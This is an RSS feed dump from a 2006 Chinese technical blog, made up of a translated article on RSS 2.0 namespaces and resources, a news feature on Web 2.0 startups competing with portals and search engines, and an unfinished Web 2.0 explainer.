						<li>阅读作者关于 RSS 的上一篇 <i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i> 文章，“<a href="http://www-106.ibm.com/developerworks/web/library/w-rss.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">An introduction to RSS news feeds</a>”（<i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i>, 2000 年 11 月），该文讨论的是 0.91 版。<br /><br /></li>
						<li>看看常见的新闻阅读器： 
<ul xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><li><a href="http://blogexpress.com/" trackclick="no">BlogExpress</a></li><li><a href="http://www.blogstreet.com/" trackclick="no">BlogStreet</a></li><li><a href="http://www.feedreader.com/" trackclick="no">FeedReader</a></li><li><a href="http://www.disobey.com/amphetadesk/" trackclick="no">AmphetaDesk</a></li><li><a href="http://www.newsgator.com/" trackclick="no">NewsGator</a></li></ul><br /></li>
						<li>试一试以下建立 weblog 和新闻提要的流行工具： 
<ul xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><li><a href="http://new.blogger.com/" trackclick="no">Blogger</a></li><li><a href="http://www.fogcreek.com/CityDesk/index.html" trackclick="no">CityDesk</a></li><li><a href="http://www.movabletype.org/" trackclick="no">Movable Type</a></li><li><a href="http://radio.userland.com/" trackclick="no">Radio Userland</a></li><li><a href="http://zope.org/" trackclick="no">Zope</a></li></ul><br /></li>
						<li>使用两种 RSS 验证程序，<a href="http://aggregator.userland.com/validator" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Userland</a> 和 <a href="http://feedvalidator.org/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">FeedValidator</a>。<br /><br /></li>
						<li>在 Harvard Law School 技术站点阅读 <a href="http://blogs.law.harvard.edu/tech/rss" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">RSS 2.0 规范</a>。<br /><br /></li>
						<li>需要关于 RSS 不同版本的解释，请阅读 Mark Pilgrim 的 XML.com 文章“<a href="http://www.xml.com/pub/a/2002/12/18/dive-into-xml.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">What is RSS?</a>”。<br /><br /></li>
						<li>可以在 <a href="http://www.oasis-open.org/cover/rss.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">OASIS RSS 页面</a>上找到关于这个主题的更多文章和资源。<br /><br /></li>
						<li>通过 <a href="http://developer.java.sun.com/developer/technicalArticles/javaserverpages/rss_utilities/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Sun 的开发人员网站</a>了解如何通过 Java 技术使用 RSS。<br /><br /></li>
						<li>查看 WirelessDevNet 文章，“<a href="http://www.wirelessdevnet.com/channels/wap/features/xmlcast_php.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Parsing XML With PHP</a>”，作者是 Marc Robards。<br /><br /></li>
						<li>了解如何开发一个 <a href="http://webreference.com/xml/column7/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">RSS Viewer Applet</a> ，以用于导航与查看 RSS 频道。<br /><br /></li>
						<li>阅读 Uche Ogbuji “Thinking XML”专栏中关于 <a href="http://www-106.ibm.com/developerworks/xml/library/x-think18.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Creative Commons 项目</a> （<i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i>, 2003 年 5 月）的讨论。RSS 规范在 Creative Commons 许可下发布。<br /><br /></li>
				</ul>
				<span class="atitle3">提要展示：</span>
				<ul>
						<li>
								<i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i> 提供了自己的 RSS 提要，详见 <a href="http://www-106.ibm.com/developerworks/rss/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">http://www-106.ibm.com/developerworks/rss/</a>。<br /><br /></li>
						<li>连接到 <a href="http://www.alphaworks.ibm.com/rss" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><i>alphaWorks</i></a> 上的几种技术分类提要。<br /><br /></li>
						<li>更多的技术内容提要，尝试 <a href="http://oreillynet.com/getorn.csp" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">O'Reilly Network</a>。<br /><br /></li>
						<li>访问 <a href="http://java.sun.com/industry/contentsyndication/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Sun Developer Network Content Syndication Program</a>。不要让这个长长的名字令您远离它的 RSS 提要。<br /><br /></li>
						<li>从 <a href="http://www.infoworld.com/rss/rss_info.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">InfoWorld</a> 获得 RSS 形式的 IT 新闻。<br /><br /></li>
						<li>看看 <a href="http://rss.lockergnome.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">LockerGnome</a> —— 它对 RSS 持严肃的态度。<br /><br /></li>
				</ul>
				<span class="atitle3">一些主流提要资源：</span>
				<ul>
						<li>访问 <a href="http://www.wired.com/news/rss" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Wired</a> 的连锁新闻。<br /><br /></li>
						<li>要查找最流行的 weblog 吗？您可以在 <a href="http://www.daypop.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">DayPop</a> 和 <a href="http://www.feedster.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Feedster</a> 得到所需的帮助。<br /><br /></li>
						<li>尝试 <a href="http://www.syndic8.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Syndic8</a> 上多种搜索新闻提要的方式。<br /><br /></li>
						<li>加拿大喜欢 RSS！访问 <a href="http://news.gc.ca/cfmx/CCP/view/en/index.cfm" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Government of Canada Web site</a>，这是公众使用 RSS 的一个好例子。<br /><br /></li>
						<li>在 <a href="http://news.yahoo.com/rss" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">Yahoo</a> 上查看各种不同的新闻提要。<br /></li>
				</ul>
		</table>
		<p>在这个例子中，定义了一个称为 <code><font face="新宋体">blogChannel</font></code> 的名称空间。它指向一个文档，该文档解释了几种常见于 weblog 的新元素的用法。其中之一是 <code><font face="新宋体"><blogroll></blogroll></font></code>。文档说明，blogroll 是 weblog 中的一个链接集合，指向与您的 weblog 内容相关的站点。</p>
		<p>
				<code>
						<font face="新宋体">
								<blogchannel:blogroll>
								</blogchannel:blogroll>
						</font>
				</code>标签提供了用户或软件所需要的信息，知道 <code><font face="新宋体">blogRoll</font></code> 是一个定义在 <code><font face="新宋体">blogChannel</font></code> 名称空间中的元素，而且可以找到这个文档的位置。</p>
		<p>同样，RSS 2.0 只对<i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">不</i> 属于规范的元素要求名称空间。所有的基本标签都假定在 RSS 2.0 名称空间中。这使得这种格式更容易使用，因为除非需要扩展 RSS，否则您完全不需要知道名称空间。</p>
		<p>
				<a name="summary">
						<span class="atitle2">结束语</span>
				</a>
				<br />本文考察了 RSS 在内容连锁和聚合领域的重要性。文章主要讨论 RSS 2.0，因为这是最新的规范版本，而且正在迅速普及。本文也考察了处理 RSS 可以使用的工具，包括集聚器、验证程序和解析器。更多信息请参阅<a href="http://www-900.ibm.com/developerWorks/cn/xml/x-rss20/index.shtml#resources" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">参考资料</font></a>。</p>
		<p>
				<a name="resources">
						<span class="atitle2">参考资料</span>
				</a>
		</p>
		<ul>
				<li>阅读作者关于 RSS 的上一篇 <i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i> 文章，“<a href="http://www-106.ibm.com/developerworks/web/library/w-rss.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">An introduction to RSS news feeds</font></a>”（<i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i>, 2000 年 11 月），该文讨论的是 0.91 版。<br /><br /></li>
				<li>看看常见的新闻阅读器： 
<ul xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><li><a href="http://blogexpress.com/" trackclick="no"><font color="#002c99">BlogExpress</font></a></li><li><a href="http://www.blogstreet.com/" trackclick="no"><font color="#002c99">BlogStreet</font></a></li><li><a href="http://www.feedreader.com/" trackclick="no"><font color="#002c99">FeedReader</font></a></li><li><a href="http://www.disobey.com/amphetadesk/" trackclick="no"><font color="#002c99">AmphetaDesk</font></a></li><li><a href="http://www.newsgator.com/" trackclick="no"><font color="#002c99">NewsGator</font></a></li></ul><br /></li>
				<li>试一试以下建立 weblog 和新闻提要的流行工具： 
<ul xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><li><a href="http://new.blogger.com/" trackclick="no"><font color="#002c99">Blogger</font></a></li><li><a href="http://www.fogcreek.com/CityDesk/index.html" trackclick="no"><font color="#002c99">CityDesk</font></a></li><li><a href="http://www.movabletype.org/" trackclick="no"><font color="#002c99">Movable Type</font></a></li><li><a href="http://radio.userland.com/" trackclick="no"><font color="#002c99">Radio Userland</font></a></li><li><a href="http://zope.org/" trackclick="no"><font color="#002c99">Zope</font></a></li></ul><br /></li>
				<li>使用两种 RSS 验证程序，<a href="http://aggregator.userland.com/validator" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Userland</font></a> 和 <a href="http://feedvalidator.org/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">FeedValidator</font></a>。<br /><br /></li>
				<li>在 Harvard Law School 技术站点阅读 <a href="http://blogs.law.harvard.edu/tech/rss" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">RSS 2.0 规范</font></a>。<br /><br /></li>
				<li>需要关于 RSS 不同版本的解释，请阅读 Mark Pilgrim 的 XML.com 文章“<a href="http://www.xml.com/pub/a/2002/12/18/dive-into-xml.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">What is RSS?</font></a>”。<br /><br /></li>
				<li>可以在 <a href="http://www.oasis-open.org/cover/rss.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">OASIS RSS 页面</font></a>上找到关于这个主题的更多文章和资源。<br /><br /></li>
				<li>通过 <a href="http://developer.java.sun.com/developer/technicalArticles/javaserverpages/rss_utilities/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Sun 的开发人员网站</font></a>了解如何通过 Java 技术使用 RSS。<br /><br /></li>
				<li>查看 WirelessDevNet 文章，“<a href="http://www.wirelessdevnet.com/channels/wap/features/xmlcast_php.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Parsing XML With PHP</font></a>”，作者是 Marc Robards。<br /><br /></li>
				<li>了解如何开发一个 <a href="http://webreference.com/xml/column7/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">RSS Viewer Applet</font></a> ，以用于导航与查看 RSS 频道。<br /><br /></li>
				<li>阅读 Uche Ogbuji “Thinking XML”专栏中关于 <a href="http://www-106.ibm.com/developerworks/xml/library/x-think18.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Creative Commons 项目</font></a> （<i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i>, 2003 年 5 月）的讨论。RSS 规范在 Creative Commons 许可下发布。<br /><br /></li>
		</ul>
		<span class="atitle3">提要展示：</span>
		<ul>
				<li>
						<i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i> 提供了自己的 RSS 提要，详见 <a href="http://www-106.ibm.com/developerworks/rss/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">http://www-106.ibm.com/developerworks/rss/</font></a>。<br /><br /></li>
				<li>连接到 <a href="http://www.alphaworks.ibm.com/rss" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><i><font color="#002c99">alphaWorks</font></i></a> 上的几种技术分类提要。<br /><br /></li>
				<li>更多的技术内容提要，尝试 <a href="http://oreillynet.com/getorn.csp" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">O'Reilly Network</font></a>。<br /><br /></li>
				<li>访问 <a href="http://java.sun.com/industry/contentsyndication/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Sun Developer Network Content Syndication Program</font></a>。不要让这个长长的名字令您远离它的 RSS 提要。<br /><br /></li>
				<li>从 <a href="http://www.infoworld.com/rss/rss_info.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">InfoWorld</font></a> 获得 RSS 形式的 IT 新闻。<br /><br /></li>
				<li>看看 <a href="http://rss.lockergnome.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">LockerGnome</font></a> —— 它对 RSS 持严肃的态度。<br /><br /></li>
		</ul>
		<span class="atitle3">一些主流提要资源：</span>
		<ul>
				<li>访问 <a href="http://www.wired.com/news/rss" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Wired</font></a> 的连锁新闻。<br /><br /></li>
				<li>要查找最流行的 weblog 吗？您可以在 <a href="http://www.daypop.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">DayPop</font></a> 和 <a href="http://www.feedster.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Feedster</font></a> 得到所需的帮助。<br /><br /></li>
				<li>尝试 <a href="http://www.syndic8.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Syndic8</font></a> 上多种搜索新闻提要的方式。<br /><br /></li>
				<li>加拿大喜欢 RSS！访问 <a href="http://news.gc.ca/cfmx/CCP/view/en/index.cfm" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Government of Canada Web site</font></a>，这是公众使用 RSS 的一个好例子。<br /><br /></li>
				<li>在 <a href="http://news.yahoo.com/rss" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no"><font color="#002c99">Yahoo</font></a> 上查看各种不同的新闻提要。<br /></li>
		</ul>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6858.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 10:26 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6858.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WEB2.0：脆弱的机会</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6856.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 01:57:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6856.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6856.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6856.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6856.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6856.html</trackback:ping><description><![CDATA[
		<span style="TEXT-DECORATION: none"> 
<div align="center"><span class="14"><font size="5"><strong>WEB2.0：脆弱的机会</strong></font></span><br /><br /></div><font color="#003300"><p align="left"><br />　　被迅速复制轻松击垮，还是互相竞合成为“剩者”？<br />　　WEB2.0：脆弱的机会<br />　　<br />　　2005年度案例<br />　　<br />　　见习记者　林珏　北京报道<br />　　<br />　　以社会化和个性化为特征的WEB2.0时代，用户参与和用户定制正在挑战WEB1.0时代的网站。比如，以周博通公司为代表的RSS(Really　Simple　Syndication)阅读器为用户提供了精确信息主题的阅读方式，再也无需在门户网站的频道里大海捞针；中国搜索(简称中搜)“网络猪”可以为用户提供网络上的任何服务，使搜索引擎“门户化”成为现实。<br />　　丁磊则在9月的“西湖论剑”上表示，“WEB2.0那些新公司想超越我们极难。”在他看来，三大门户可以随时复制他们摸索出的“那点东西”，除非新公司具有特异功能。<br />　　WEB2.0公司的模式创新能否真正颠覆WEB1.0公司，或者由于应用模式的低竞争门槛，觉醒的WEB1.0公司将依托其品牌与资金实力，迅速复制和超越WEB2.0？<br />　　<br />　　脆弱的壁垒<br />　　与WEB1.0过度强调技术壁垒不同，WEB2.0时代在技术上的竞争已经弱化，应用模式的创新越来越成为WEB2.0公司的核心竞争力。<br />　　“周伯通？是那个左右互搏的老顽童吗？”惊讶和微笑几乎是所有人听到“周博通”三个字时的第一反应。<br />　　“这正是成立才一年的周博通想要的效果。”周博通CEO高耐寒说，“我们不做内容，而是帮用户寻找他们想要看到的内容，这一点和搜索引擎很相似。不同在于，百度要求用户登陆网站、输入关键词进行搜索，周博通则按照用户定制的关键词，主动把最新搜索结果发到用户终端。”<br />　　但是真如某些IT分析人士所说，在RSS阅读器之下，门户网站的编辑将面临失业窘境？恐怕没有那么简单，因为RSS阅读器仍然没有完全满足用户“精确阅读”的需要。<br />　　网编并不一定能筛选出用户想看的东西，如果关注的是排名前三以外的某位超女，在门户网站娱乐频道查找无异于大海捞针，不断登陆百度搜索则劳力劳心。RSS阅读器却能在第一时间将网络上最新出现的相关内容传送到用户眼前。<br />　　然而，不是每个人都有时间细细研读RSS阅读器对每一个关键词提供的50条甚至更多的结果，从劲爆或蛊惑的标题也很难看出具体的内容。若是门户网站将RSS的技术与网络编辑的个人判断相结合，是否会比单纯的RSS阅读器更有吸引力？<br />　　同样，即使如中国搜索总裁陈沛所说，以关键词匹配为核心的第二代搜索技术并没有解决个性化的需求，中搜“网络猪”以搜索为基础，为用户提供全能的网络服务，但是在满足用户个性化的精确搜索需求上，中搜“网络猪”所称的第三代搜索技术是桌面搜索、鼠标划词搜索这些使用习惯上的方便，还是可以分析用户以往的搜索行为，在下次搜索时筛选无关信息，逐渐得到更加精确的定位？<br />　　回过头来看百度和Google，难道他们就没有发现用户这一需要，而是被中搜后来居上？据陈沛所说，百度已经专门成立了一个部门，从事客户端的开发，尽管百度搜索的一位人士对此不置可否。雅虎则在最近推出名为“桌面搜索精灵”的搜索工具软件，其功能类似于“网络猪”的桌面搜索和鼠标划词搜索。<br />　　正是因为模式创新的壁垒更低，更容易模仿，所以“模式创新”这一核心竞争力正是WEB2.0公司的致命缺陷。从这个角度来看，WEB2.0时代的生存环境比1.0时代更为严峻。而且，越受用户欢迎、越有前途的WEB2.0应用模式，就越可能被觉醒的门户、搜索引擎，甚至收购壳网站进行运作的风险投资起而效法。<br />　　用户习惯的培养是RSS阅读器及网络猪取代IE浏览器面临的另一大难题。据陈沛透露，富达和IDG给中搜的投资，很大一部分将用于这方面的市场推广。<br />　　<br />　　替代性竞争？<br />　　“WEB2.0越是没有技术门槛，就越需要专业化。什么都做，往往什么都做不好。”著名IT博客hiyou如此评论。<br />　　作为搜索引擎，中搜不希望在百度和google的影子下生存，而是凭借客户端软件“网络猪”，走一条不同的道路。<br />“替代性竞争”是陈沛对中搜与google和百度之间的关系所下的定义。在他看来，网络猪的第三代智能化、个性化搜索技术将替代以雅虎为代表的第一代分类搜索和以百度为代表的第二代关键词搜索，成为搜索市场的下一个领导者。<br />　　“我们正是希望网络猪取代IE浏览器，整合网络上的服务，成为用户上网的第一个也是最后一个门户，其目标即是让用户放弃IE。在原先的设计上，网络猪甚至覆盖了屏幕下方的任务栏。但我们后来决定把任务栏留下，因为我们还需要微软的‘开始’键帮我们关机。”<br />　　就目前来看，百度与google在中国搜索市场的垄断地位仍然坚不可摧。根据中国互联网络中心的调查数据，百度和Google市场份额大大高于其他公司，二者合计在北京和上海占有超过80％的市场份额，在广州合计占有率也接近达到75％。<br />　　尤其是百度与google在打通了资本渠道之后大大增强了资金与技术实力，足以支撑其认为有前途的任何技术与商业模式上的改进。创新企业在技术与商业模式上的进步都可能会被巨头模仿，并利用其实力与客户基础迅速跟进。<br />　　陈沛对此并不赞同：“如果技术和应用模式可以轻易模仿，创新企业永远无法打败原来的巨头，那么现存的公司只能是原始社会延续下来的那几家公司。但事实显然并非如此。”<br />　　在他看来，搜索行业从一开始到现在也不过十年时间，说成熟为时尚早，一切都还有机会。况且google并不是第一个做搜索的企业，百度最早在中国也遇到了google的激烈竞争。<br />　　“目前的搜索基本上都是在网站上实现的，但是搜索其实跟浏览器没有多大关系。有了网络猪，用户不用打开IE登陆搜索网站，只要在桌面上方的搜索框里输入关键词，或者用鼠标选中各类文件上的单词，就可以搜索，每次操作至少节约2秒时间。”<br />　　“不仅仅是在搜索领域节约时间，网络猪整合了新闻、论坛、娱乐、生活、商务等各个领域，几乎涉及了上网所需的全部功能，也可以通过网络猪打开资源管理器与office文档，或者和QQ与MSN上的好友聊天。网络猪的新闻定制功能满足了RSS阅读器用户的需要，而‘我的中心’则为用户提供了定制常用服务的便利，几乎替代了桌面快捷方式和收藏夹。”<br />　　<br />　　化敌为友？<br />　　周博通则以信息从内容网站、门户和搜索到达用户终端的“最后一公里”问题为战场，一定程度上与WEB1.0公司化敌为友。<br />　　实际上，从2004年底问世以来，周博通就一直在思考自己的方向。高耐寒在研究用户需求时发现，求职者在找工作时，往往要去求职网站搜索某一职位，查看最新的招聘广告。而企业不一定会在每一个网站上都发广告，于是求职者必须登陆多个招聘网站去查看，但也不一定能找到完备的信息。同时，求职者还希望最早看到广告并迅速回复，以便有时间上的优势。“单纯地用RSS阅读新闻肯定是没戏的，因为改变用户的阅读习惯是一件很不容易的事情，同时也很容易被对手模仿。所以，我们希望找到RSS在新闻之外的应用，比如求职、购物的搜索。这就是‘信息对合’的概念。”<br />　　现在，用户只要定制某一职位搜索信息，周博通就会源源不断的在第一时间将各大求职网站关于这一职位的招聘广告发送到客户端。周博通目前达到50万的用户总数，活跃用户每天达五六万人，很大程度上是求职搜索这一切入点的功劳。<br />　　“周博通是一个中间件，为用户提供的应用都是以我们与门户、搜索以及其他网站的合作为基础的。”高耐寒说，“所以周博通和WEB1.0的三个阶段网站并不矛盾，而是一个合作的关系。”<br />　　而从网站的角度来看，周博通能为他们带来用户流量，更是一个双赢的局面。比如新浪财经新闻上附带的广告、百度的竞价排名和广告，都能在周博通的页面得到展示，而且周博通可以根据流量向百度收取一定费用。<br />　　在美国，有很多WEB2.0公司就是专门为大网站出谋划策，拓展客户群体，开发新的应用。“Ebay20％收入是由那些专为Ebay开发服务的WEB2.0小公司带来的。”高耐寒说，“周博通与搜职网、一拍网的合作就是这种模式。”<br />但是门户与搜索引擎对RSS阅读器市场的介入显然为周博通带来不小的竞争压力。新浪推出的“点点通”在功能上与周博通类似，但依托新浪强大的资金和技术实力，至少在推广上远胜于WEB2.0公司资金不足、依赖口碑传播的单一渠道。<br />　　“我们的优势在于灵活，持续创新，了解用户需求，并且能和其他领域的小企业达成广泛合作。”高耐寒说，“即将推出的在线版就是为了满足不习惯使用客户端的用户需求。”<br />　　高耐寒还认为，门户和搜索引擎在做RSS阅读器时，往往自觉或不自觉的基于自身的网络内容及客户基础，在整合自身资源的同时也限制了自己的发展。<br />　　技术和应用模式上的持续创新，对用户需求的细微关注，深耕细分市场，与众多领域公司联合，再加上小规模的灵活，陈沛和高耐寒都相信，WEB2.0的“剩者”或者有机会成为下一代互联网的领导者。<br />　　<br />　　名词：<br />　　WEB2.0：相对WEB1.0(2003年以前的互联网模式)的新一类互联网应用的统称。WEB1.0到WEB2.0的转变，具体的说，模式上是单纯的“读”向“写”、“共同建设”发展；基本构成单元由“网页”向“发表／记录的信息”发展；作者由专业人士向全部普通用户发展。<br />　　RSS：RSS(Really　Simple　Syndication)是一种信息简易聚合技术，通常是通过RSS阅读器这一客户端软件(或者网站“在线版”)，根据用户定制的某一主题(比如“超级女声”)或其他网站的特定内容(比如新浪财经频道)，将网络信息聚合至用户终端。<br />　　<br /></p><p align="center"><img alt="" hspace="0" src="http://www.webwing.com.cn/Files/BeyondPic/2006-3/31/200509210083_285191.jpg" align="baseline" border="0" /></p><p align="left"><br />　　“我们正是希望网络猪取代IE浏览器，在原先的设计上，网络猪甚至覆盖了屏幕下方的任务栏。但我们后来决定把任务栏留下，因为我们还需要微软的‘开始’键帮我们关机。”<br />　　中国搜索总裁陈沛　　CFP<br />　　 </p><p align="center"><img alt="" hspace="0" src="http://www.webwing.com.cn/Files/BeyondPic/2006-3/31/200509210083_285192.jpg" align="baseline" border="0" /></p><p align="left"><br />　　“周博通是一个中间件，为用户提供的应用都是以我们与门户、搜索以及其他网站的合作为基础的。周博通和WEB1.0并不矛盾。”<br />　　周博通CEO高耐寒</p></font></span>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6856.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 09:57 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6856.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WEB2.0 技术所包含的服务内容（转）</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6855.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 01:44:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6855.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6855.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6855.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6855.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6855.html</trackback:ping><description><![CDATA[
		<p style="TEXT-INDENT: 2em">
				<span style="TEXT-DECORATION: none">
						<img alt="china web2.0 survey" src="http://www.webwing.com.cn/Files/BeyondPic/2006-4/2/o_chinaweb20survey.JPG" />
				</span>
		</p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6855.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 09:44 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6855.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学习WEB2.0 </title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6854.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 01:41:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6854.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6854.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6854.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6854.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6854.html</trackback:ping><description><![CDATA[
		<span style="TEXT-DECORATION: none"> 
<p>Web 2.0？</p><p>历史很重要。对一个技术的学习也应当从历史出发，通过其在时间形成历史的流变，得以知晓现状，甚至能够预知未来。</p><p>那Web 1.0是什么呢？</p><p>他们说，记得静态HTML的WWW时代么？</p><p>（那个时代的WWW应用、人们的Web体验、对社会的影响如何？）</p><p>那么动态HTML和静态HTML下的Web相比，是多少版本？1.5？对了，他们是真这么叫的。</p><p>（在效果和影响上，与1.0相比，扩展和加深多少？）</p><p>要呈现的数据存储在数据库中，通过Web服务端的程序，应用户的请求，取出数据，加上事先设计的模板，动态的生成Html代码，发送到用户的浏览器那里。</p><p>他是1.0系列，应为用户在浏览器中所见和Web 1.0一样，它有0.5的升级，因为数据不是事先制作并发布，而是动态生成，和用户的需要交互生成。</p><p>那好，在加0.5，到Web 2.0，变化是在哪里呢？</p><p>（看到了正在崛起的和改变的，会继续朝着什么方向改变互联网和社会呢？）</p><p><strong>更新</strong>：关于各个版本的差别，看看<a href="http://jeremy.zawodny.com/blog/archives/002737.html"><font color="#003366">亚马逊的例子</font></a>。</p><p>事情没有那么幸运，Web 2.0并不是一个具体的事物，而是一个阶段，是促成这个阶段的各种技术和相关的产品服务的一个称呼。所以，我们无法说，Web 2.0是什么，但是可以说，那些是Web 2.0。</p><p>WikiPedia的<a href="http://en.wikipedia.org/wiki/Web_2.0"><font color="#003366">Web 2.0</font></a>条目下列出了这些条件：</p><p>* CSS 和语义相关的 XHTML 标记<br />* AJAX 技术<br />* Syndication of data in RSS/ATOM<br />* Aggregation of RSS/ATOM data<br />* 简洁而有意义的 URLs<br />* 支持发布为 weblog<br />* RESTian (preferred) 或者 XML Webservice APIs<br />* 一些社会性网络元素</p><p>必须具备的要素有：</p><p>* 网站应该能够让用户把数据在网站系统内外倒腾。<br />* 用户在网站系统内拥有自己的数据<br />* 完全基于Web，所有的功能都能透过浏览器完成。</p><p>（以上内容引用自<a href="http://en.wikipedia.org/wiki/web_2.0"><font 